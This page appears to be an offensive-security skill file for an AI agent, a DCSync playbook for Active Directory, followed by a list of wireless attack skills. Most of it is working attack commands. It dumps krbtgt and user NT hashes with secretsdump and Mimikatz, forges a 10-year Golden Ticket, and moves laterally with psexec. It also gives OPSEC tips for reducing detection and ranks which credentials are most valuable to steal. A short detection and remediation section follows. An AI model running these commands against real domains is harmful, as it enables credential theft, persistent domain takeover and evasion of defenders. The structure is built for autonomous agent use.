dcsync
Abuse replication rights (DS-Replication-Get-Changes + GetChangesAll) to dump krbtgt and arbitrary user NT hashes from a DC.
- License 许可
- Apache-2.0
- 所属仓库
- Akapi895/raptix
- 最近更新
- 2026-11-06
- Stars
- ★ 0
- Forks
- 0
01 前言 Front Matter
- name
- dcsync
- metadata
- { "fanout": { "notes": "replication dump is a high-signal, high-impact DC operation; run alone in the mission-sanctioned phase, never concurrently with other dispatches", "effects": "destructive" }, "subdomain": "active-directory", "when_to_use": "dcsync replication rights secretsdump krbtgt nt hash dump", "mitre_attack": [ "T1003.006" ] }
- description
- Abuse replication rights (DS-Replication-Get-Changes + GetChangesAll) to dump krbtgt and arbitrary user NT hashes from a DC.
03 SKILL.md 正文
DCSync Playbook
DCSync is not a vulnerability — it's a legitimate AD feature for domain controllers to replicate. The "vulnerability" is when a non-DC principal has the replication-rights ACL.
1. Identify DCSync candidates
From the BloodHound graph (bhce_cypher):
MATCH (n)-[:GetChanges|GetChangesAll]->(:Domain)
RETURN DISTINCT n.name, labels(n)
Common holders (legitimate):
- Domain Admins, Enterprise Admins, Domain Controllers
- Exchange Trusted Subsystem (Exchange installs grant by default — historical PrivExchange)
- Replicator (rare)
Common holders (misconfig = jackpot):
- Service accounts (admins delegated mistakenly)
- Helpdesk groups
- Groups from old migrations
2. Execute DCSync
Impacket (most reliable):
# All NT hashes including krbtgt
secretsdump.py 'DOM/USER:PASS@DC_IP' -just-dc \
-outputfile /tmp/secrets
# Just one target user
secretsdump.py 'DOM/USER:PASS@DC_IP' -just-dc-user 'krbtgt'
# With NT hash auth instead of password
secretsdump.py -hashes :NT_HASH 'DOM/USER@DC_IP' -just-dc
# With Kerberos ticket (cleaner OPSEC)
export KRB5CCNAME=/tmp/user.ccache
secretsdump.py -k -no-pass 'DOM/USER@DC_FQDN' -just-dc
Mimikatz (from Windows):
lsadump::dcsync /domain:dom.local /user:krbtgt
lsadump::dcsync /domain:dom.local /all /csv
3. Output files
secretsdump produces:
/tmp/secrets.ntds—user:RID:LM_HASH:NT_HASH:::format/tmp/secrets.ntds.kerberos— Kerberos keys (aes256, aes128, des)/tmp/secrets.ntds.cleartext— any reversibly-encrypted passwords (rare, but yes)
4. Highest-value secrets to grab
| User | Why | What unlocks |
|---|---|---|
krbtgt |
Master Kerberos key | Golden Ticket — persistence + arbitrary user impersonation forever (until rotation) |
Administrator |
Built-in domain admin | Direct admin on most assets |
| Domain Admin members | Lateral movement | Most assets |
<trustname>$ |
Trust accounts | Cross-forest movement |
| Service accounts | Often local admin on hosts | Lateral movement |
| Exchange computer accounts | Mailbox access | E-discovery / pivot |
5. Golden Ticket (post-DCSync)
With krbtgt NT hash:
ticketer.py -nthash KRBTGT_NT \
-domain-sid 'S-1-5-21-XXXX-YYYY-ZZZZ' \
-domain 'dom.local' \
Administrator
# Produces Administrator.ccache — TGT for Administrator that lasts 10 years
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass 'DC@DC_FQDN'
6. Promote
kg_record('[
{"kind": "Credential", "key": "credential::krbtgt",
"label": "krbtgt:NT_HASH",
"props": {"source": "dcsync", "value": "<hash>"},
"edges_out": [{"to_key": "crown-jewel::domain", "kind": "LEADS_TO"}]},
{"kind": "Vulnerability", "key": "vuln::dcsync::<principal>",
"label": "DCSync from <principal>",
"props": {"severity": "critical"},
"edges_out": [{"to_key": "credential::krbtgt", "kind": "LEAKS"}]}
]')
OPSEC
- DCSync generates event 4662 on DCs with
Properties: Replicating Directory Changes - Defender's high-signal detection (the only good DCSync detection)
- BloodHound's
:DS-Replication-Get-ChangesGUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 - A single DCSync run, scoped to one user (
-just-dc-user), produces less log volume than-just-dc - Use Kerberos auth (
-k) instead of NTLM to avoid 4624 type-3 noise
Detection signature (so you know what blue sees)
EventCode=4662
ObjectType=domainDNS
Properties: %{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} OR %{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}
SubjectUserName != *$ (filter out DC computer accounts)
CVSS
- DCSync available to non-DC principal:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H= 9.0 - Already DA + DCSync: not a separate finding, just post-compromise activity
Defender remediation
# Audit current holders of replication rights
Get-ADObject -Identity (Get-ADDomain).DistinguishedName -Properties nTSecurityDescriptor |
Select -ExpandProperty nTSecurityDescriptor |
Select -ExpandProperty Access |
Where { $_.ObjectType -in @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2','1131f6ad-9c07-11d1-f79f-00c04fc2dcd2') } |
Format-Table IdentityReference, ActiveDirectoryRights
# Remove unauthorized holders via dsacls
dsacls "DC=dom,DC=local" /R "DOM\BadPrincipal"
04 同仓库更多 Skills
wps-pixie-dust
WPS Pixie-Dust offline nonce attack (reaver -K / pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.
wpa3-sae
WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.
wpa2-psk
WPA/WPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer/SMB encryption mode in 2026.
wpa-enterprise-eap
WPA/WPA2/WPA3-Enterprise (802.1X/EAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.
krack-fragattacks
KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation/aggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.
evil-twin-karma
Evil-twin rogue AP with KARMA/Mana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK/open networks. Distinct from wpa-enterprise-eap which targets 802.1X.